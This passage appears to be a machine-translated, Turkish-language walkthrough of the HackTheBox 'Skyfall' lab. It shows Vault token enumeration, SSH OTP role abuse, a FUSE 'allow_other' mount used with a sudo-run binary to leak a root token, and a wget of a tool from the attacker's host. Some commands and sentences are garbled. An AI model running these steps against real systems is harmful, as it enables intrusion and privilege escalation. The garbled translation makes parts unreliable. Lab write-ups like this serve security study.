talimatları kullanarak kuracağım . Craft'ta olduğu gibi, oturum açmış kullanıcı hakkında bilgi arayarak başlayabilirim. İstemcinin çalışması için üç ortam değişkeni ayarlamam gerekecek:aurora@feniks$ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
aurora@feniks$ export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
aurora@feniks$ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
aurora@feniks$ vault token lookup
Key Value
--- -----
accessor rByv1coOBC9ITZpzqbDtTUm8
creation_time 1699563963
creation_ttl 768h
display_name token-askyy
entity_id n/a
expire_time 2073-10-27T21:06:03.043964076Z
explicit_max_ttl 0s
id hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
issue_time 2023-11-09T21:06:03.445155372Z
last_renewal 2023-11-20T16:43:24.043964166Z
last_renewal_time 1700498604
meta <nil>
num_uses 0
orphan true
path auth/token/create
policies [default developers]
renewable true
ttl 431063h45m10s
type serviceIn Craft I next did a list of secrets, but here I don’t have that access:
aurora@feniks$ vault secrets list
Error listing secrets engines: Error making API request.
URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/mounts
Code: 403. Errors:
* 1 error occurred:
* permission denied#### Identify SSH Paths
Bir sonraki adım için, bu token'ın SSH erişimi sağlayan bir role erişimi olduğunu bulmam gerekiyor. Oraya ulaşmak için belirgin bir sağlam yol yok, ancak bu sıçramayı yapmanın en az üç yolunu biliyorum:
SSH'de Tahmin Et
aurora@feniks$ vault list ssh
No value found at ssh
Bu token'ın . erişiminde farklı bir şey var ssh
. SSH belgeleri, yapılacak bir şeyin rolleri listelemek olduğunu gösteriyor ve bu işe yarıyor:
aurora@feniks$ vault list ssh/roles
Keys----admin_otp_key_role
dev_otp_key_role
geliştirici Politikası
İlk olarak mevcut token'ıma bağlı politikalara bakmaya çalışacağım, ancak istemci erişimim olmadığını söylüyor:
aurora@feniks$ vault token capabilities policies
deny
aurora@feniks$ vault token capabilities policies/list
deny
aurora@feniks$ vault token capabilities policies/read
deny
Bu politikaları doğrudan okumaya çalışırsam, bu da başarısız oluyor:
aurora@feniks$ vault policy list
Error listing policies: Error making API request.
URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl?list=true
Code: 403. Errors:
* 1 error occurred:
* permission denied
aurora@feniks$ vault policy read default
Error reading policy named default: Error making API request.
URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl/default
Code: 403. Errors:
* 1 error occurred:
* permission denied
aurora@vault policy read developer
Error reading policy named developer: Error making API request.
URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl/developer
Code: 403. Errors:
* 1 error occurred:
* permission denied
Erişmeye çalışıyor ve başarısız oluyor. Belgelerde CLI tarafından kullanılmayan (anladığım kadarıyla) başka bir uç nokta daha/v1/sys/policies/acl/developer
var . Çalışan bu:/v1/sys/policy/[name]
aurora@feniks$ curl -s -XGET "http://prd23-vault-internal.skyfall.htb/v1/sys/policy/developers" -H 'X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE' | jq .
{
"rules": "path \"sys/policy/developers\" {\n capabilities = [ \"read\" ]\n}\n\npath \"ssh/*\" {\n capabilities = [ \"list\" ]\n}\n\npath \"ssh/creds/dev_otp_key_role\" {\n capabilities = [\"create\", \"read\", \"update\"]\n}\n",
"name": "developers",
"request_id": "d1ef5bf4-fde7-6dd9-eac4-675170bb4900",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"name": "developers",
"rules": "path \"sys/policy/developers\" {\n capabilities = [ \"read\" ]\n}\n\npath \"ssh/*\" {\n capabilities = [ \"list\" ]\n}\n\npath \"ssh/creds/dev_otp_key_role\" {\n capabilities = [\"create\", \"read\", \"update\"]\n}\n"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
İşte rules
en ilginç kısım:
aurora@feniks$ curl -s -XGET "http://prd23-vault-internal.skyfall.htb/v1/sys/policy/developers" -H 'X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE' | jq '.rules' -r
path "sys/policy/developers" {
capabilities = [ "read" ]
}
path "ssh/*" {
capabilities = [ "list" ]
}
path "ssh/creds/dev_otp_key_role" {
capabilities = ["create", "read", "update"]
}
Bu token'ın bu SSH rolüne erişimi olduğunu gösteriyor dev_otp_key_role
.
sys/dahili/ui/sonuç-acl
aurora@feniks$ vault read sys/internal/ui/resultant-acl --format=json|jq -r .data
{
"exact_paths": {
"auth/token/lookup-self": {
"capabilities": [
"read"
]
},
"auth/token/renew-self": {
"capabilities": [
"update"
]
},
"auth/token/revoke-self": {
"capabilities": [
"update"
]
},
"ssh/creds/dev_otp_key_role": {
"capabilities": [
"create",
"read",
"update"
]
},
"sys/capabilities-self": {
"capabilities": [
"update"
]
},
"sys/control-group/request": {
"capabilities": [
"update"
]
},
"sys/internal/ui/resultant-acl": {
"capabilities": [
"read"
]
},
"sys/leases/lookup": {
"capabilities": [
"update"
]
},
"sys/leases/renew": {
"capabilities": [
"update"
]
},
"sys/policy/developers": {
"capabilities": [
"read"
]
},
"sys/renew": {
"capabilities": [
"update"
]
},
"sys/tools/hash": {
"capabilities": [
"update"
]
},
"sys/wrapping/lookup": {
"capabilities": [
"update"
]
},
"sys/wrapping/unwrap": {
"capabilities": [
"update"
]
},
"sys/wrapping/wrap": {
"capabilities": [
"update"
]
}
},
"glob_paths": {
"cubbyhole/": {
"capabilities": [
"create",
"delete",
"list",
"read",
"update"
]
},
"ssh/": {
"capabilities": [
"list"
]
},
"sys/tools/hash/": {
"capabilities": [
"update"
]
}
},
"root": false
}
create
Bu çıktı, bu token'ın üzerinde , read
, ve update
yeteneklerine sahip olduğunu gösterir ssh/creds/dev_otp_key_role
.
SSH
dev_otp_key_role
ve MinIO'dan kullanıcı adı listesiyle, SSH üzerinden . askyy ile giriş yapmayı deneyeceğim vault
. askyy, bu token'ı kendi sunucularında bulunduran baş geliştiricidir .bashrc
, bu yüzden önce onları deneyeceğim:aurora@feniks$ vault ssh -role dev_otp_key_role -mode otp askyy@skyfall.htb
failed to run ssh command: exit status 6
vault ssh
bir mod gerektirir ve rol adında "otp" terimi verildiğinde, onunla gideceğim. Buradaki ikili, API'ye ( /v1/ssh/creds/dev_otp_key_role
) bir istekte bulunuyor ve bağlanmayı denemek için geri aldığı parolayı kullanıyor sshpass
. Yine de başarısız olabilir.Man sshpass
sayfasının söylediği çıkış durumu 6:
Diğer tüm programlarda olduğu gibi, sshpass da başarılı olduğunda 0 döndürür. Başarısızlık durumunda, aşağıdaki dönüş kodları kullanılır:
- Geçersiz komut satırı argümanı
- Çelişkili argümanlar verildi
- Genel çalışma zamanı hatası
- SSH'den tanınmayan yanıt (ayrıştırma hatası)
- Geçersiz/yanlış şifre
- Ana bilgisayarın genel anahtarı bilinmiyor. sshpass yeni anahtarı onaylamadan çıkıyor.
Bu bir açık anahtar sorunu! Eğer eklersem --strict-host-key-checking=no
, işe yarıyor:
aurora@feniks$ ault ssh --role dev_otp_key_role --mode otp --strict-host-key-checking=no askyy@skyfall.htb
Warning: Permanently added 'skyfall.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...[snip]...
askyy@skyfall:~$
Alternatif olarak, eğer bu SSH'a bağlanırsam ve anahtarı kabul edersem (doğru şifre olmasa bile), bu da işe yarayacaktır. Ve şunu yakalayabilirim user.txt
:
askyy@skyfall:~$ cat user.txt
********************************
Kabuk kök olarak
Sayım
asyy, şu konumda ana dizine sahip tek kullanıcıdır
/home
:askyy@skyfall:/home$ ls
askyy
Ve kabuğu şu şekilde ayarlanmış tek kök olmayan kullanıcı passwd
:
askyy@skyfall:/home$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
askyy:x:1000:1000:Aurora Skyy:/home/askyy:/bin/bash
sudo
sudo
Skyyy için bir kural var :
askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User askyy may run the following commands on skyfall:
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
vault-unseal
Bu kullanıcı ikili dosyayı belirli bir yaml
dosya ve bir veya daha fazla argümanla çalıştırabilir vdh
. Bu programı şu şekilde çalıştırmak -h
yardım menüsünü gösterir:
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
Usage:
vault-unseal [OPTIONS]
Application Options:
-v, --verbose enable verbose output
-d, --debug enable debugging output to file (extra logging)
-c, --config=PATH path to configuration file
Help Options:
-h, --help Show this help message
[Bu programın] değiştirilmiş bir versiyonu gibi görünüyor[( GitHub - lrstanley/vault-unseal: Hashicorp Vault için otomatik-mühür açma yardımcı programı ). Sunmak yerine --log-path
, sunuyor . Çalıştırıldığında geçerli dizinde --debug
bir dosya üretiyor :debug.log
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ ls -l
total 8
-rw------- 1 root root 590 Aug 27 12:37 debug.log
-rw-r----- 1 root askyy 33 Aug 25 17:49 user.txt
Root'a aittir ve sadece root tarafından okunabilir. askyy onu yeniden adlandırabilir ve silebilir, ancak içeriğine doğrudan erişemez.
Sigortayı Kötüye Kullanmak
Arka plan
/etc/fuse.conf
, riskli bir seçenek var (varsayılan olarak yorumlanmış olduğunu düşünüyorum) user_allow_other
:# The file /etc/fuse.conf allows for the following parameters:
#
# user_allow_other - Using the allow_other mount option works fine as root, in
# order to have it work as user you need user_allow_other in /etc/fuse.conf as
# well. (This option allows users to use the allow_other option.) You need
# allow_other if you want users other than the owner to access a mounted fuse.
# This option must appear on a line by itself. There is no value, just the
# presence of the option.
#user_allow_other
# mount_max = n - this option sets the maximum number of mounts.
# Currently (2014) it must be typed exactly as shown
# (with a single space before and after the equals sign).
#mount_max = 1000
Bu StackOverflow cevabı bu yapılandırmanın risklerini ele alıyor. Temel olarak, bir kullanıcı bu seçenek olmadan bir dosya sistemi oluşturduğunda, yalnızca o kullanıcı dosya sistemine erişebilir. Ancak, bir kez user_allow_other
etkinleştirildiğinde, diğer kullanıcılar diğer kullanıcıların erişebileceği dosya sistemleri oluşturabilir.
FUSE Uygulamaları
user_allow_others
. Yani teoride, Skyfall'dan ana bilgisayarıma SSHFS ile geri dönebilir, Skyfall'da ana bilgisayarımdaki bir klasöre eşlenen bir bağlama oluşturabilirim. Daha sonra, nedeniyle , root günlük dosyasını bu bağlamaya yazdığında, sistemimde görünecek ve SSH yaptığım kullanıcı olarak erişebileceğim. Ancak, HTB laboratuvarlarında makinemi SSH'ye açmak genellikle yapmaktan kaçındığım bir şeydir. Çeşitli FUSE tabanlı uygulamalar oluşturmak için bir sürü örnek betiği olan go-fuse adında şık bir Go projesi var. Özellikle ilgi çekici olanlardan biri memfs'dir . Bu, bir klasörü bir FUSE dosya sistemi olarak bağlar ve bu FS'ye yazılan tüm dosyaları dosyalara kaydeder.Yerel memfs Demosu
examples/memfs
dizine gireceğim. Orada projeyi oluşturacağım:aurora@feniks$ ls
main.go
aurora@feniks$ go build
error obtaining VCS status: exit status 128
Use -buildvcs=false to disable VCS stamping.
aurora@feniks$ go build -buildvcs=false
aurora@feniks$ ls
main.go memfs
İkili memfs
dosya, bağlanacak bir dizin ve çıktı dosyaları için bir önek alır:
aurora@feniks$ ./memfs
usage: main MOUNTPOINT BACKING-PREFIX
Bir test dizini oluşturup çalıştıracağım, orada takılıyor:
aurora@feniks$ ./memfs ~/testfs/ memfsoutput-
Mounted!
Başka bir terminalden yeni FS'ye bazı dosyalar yazacağım:
aurora@feniks$ echo "testing..." > test/test1
aurora@fenikscky$ echo "testing again..." > testfs/test2
Çalıştırdığım dizinde memfs
iki yeni dosya var:
aurora@feniks$ ls
main.go memfs memfsoutput-1 memfsoutput-2
aurora@fenikscky$ cat memfsoutput-1
testig...
aurora@feniks@hacky$ cat memfsoutput-2
testing again...
Eğer dosya sistemine root olarak yazmaya çalışırsam, başarısız oluyorum:
root@hacky:/home/oxdf# echo "this is a root test" > testfs/from_root
-bash: testfs/from_root: Permission denied
Bunun nedeni sistemimin . ile ayarlanmamış olmasıdır user_allow_others
. Eğer o satıra girip /etc/fuse.conf
yorumunu kaldırırsam, yine de başarısız oluyor. Go betiğini biraz güncellemem gerekecek. Bağlamayı öldüreceğim ve sudo umount ~/testfs
.In main.go
, oluşturma için bir seçenek ekleyeceğim fuse
:
server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
Debug: *debug,
AllowOther: true, // added this
})
Şimdi yeniden oluşturup tekrar monte edeceğim:
aurora@feniks$ go build -buildvcs=false
aurora@feniks$ ./memfs ~/testfs/ memfsoutput-
Mounted!
Şimdi kök kabuğundan:
root@feniks:/home/aurora# echo "now it should work" > testfs/as_root
root@feniks:/home/aurora# cat testfs/as_root
now it should work
Ve dosya kaydedildi:
root@feniks:/home/aurora# cat hackthebox/skyfall-10.10.11.254/go-fuse/example/memfs/memfsoutput-1
now it should work
Skyfall'da
memfs
Derlenmiş olanı Skyfall'a yükleyeceğim , bir dizin oluşturacağım ve bağlayacağım:askyy@skyfall:/dev/shm$ wget 10.10.14.6/memfs
--2024-08-27 18:33:29-- http://10.10.14.6/memfs
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3500122 (3.3M) [application/octet-stream]
Saving to: ‘memfs’
askyy@skyfall:/dev/shm$ mkdir out
askyy@skyfall:/dev/shm$ chmod +x memfs
askyy@skyfall:/dev/shm$ ./memfs
usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ ./memfs out/ out
Mounted!
Başka bir SSH penceresinde o dizine gidip şunu çalıştıracağım vault-unseal
:
askyy@skyfall:/dev/shm/out$ cat debug.log
2024/08/27 18:34:49 Initializing logger...
2024/08/27 18:34:49 Reading: /etc/vault-unseal.yaml
2024/08/27 18:34:49 Security Risk!
2024/08/27 18:34:49 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/08/27 18:34:49 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Check interval: 5s
2024/08/27 18:34:49 Max checks: 5
2024/08/27 18:34:49 Establishing connection to Vault...
2024/08/27 18:34:49 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Checking seal status
2024/08/27 18:34:49 Vault sealed: false
Oluşturuldu debug.log
, ancak depolandığı yer nedeniyle asyy'ye ait:
askyy@skyfall:/dev/shm/out$ ls -l
total 4
-rw------- 1 askyy askyy 590 Aug 27 18:34 debug.log
Yönetici Kasası
hata ayıklama günlüğü
debug.log
, kendisiyle birlikte kullanılan token'ı yönlendirir:askyy@skyfall:/dev/shm/out$ cat debug.log
2024/08/27 18:34:49 Initializing logger...
2024/08/27 18:34:49 Reading: /etc/vault-unseal.yaml
2024/08/27 18:34:49 Security Risk!
2024/08/27 18:34:49 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/08/27 18:34:49 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Check interval: 5s
2024/08/27 18:34:49 Max checks: 5
2024/08/27 18:34:49 Establishing connection to Vault...
2024/08/27 18:34:49 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Checking seal status
2024/08/27 18:34:49 Vault sealed: false
Giriş yapmak
vault login
:aurora@feniks$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token hvs.I0ewVsmaKU1SwVZAKR3T0mmG
token_accessor bXBeXR3r92WGQ8XgEDx6pIFu
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
Politikası var root
! Bu ümit verici.
SSH
| Yapabileceğim bir sürü numaralandırma var ama iki SSH rolü olduğunu hatırlayacağım:<br>aurora@feniks$ vault list ssh/roles<br>Keys<br>----<br>admin_otp_key_role<br>dev_otp_key_role<br>
Bu belirteç şu rolleri okuyabilir:<br>aurora@feniks$ vault read ssh/roles/admin_otp_key_role<br>Key Value<br>--- -----<br>allowed_users root<br>cidr_list 10.0.0.0/8<br>default_user nobody<br>exclude_cidr_list n/a<br>key_type otp<br>port 22<br>
İzin verilen kullanıcı root. SSH'a bağlanacağım:<br>aurora@feniks$ vault ssh -role admin_otp_key_role -mode otp root@skyfall.htb<br>Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)<br>...[snip]...<br>
Ve bayrağı alacağım:
```
root@skyfall:~# cat root.txt
***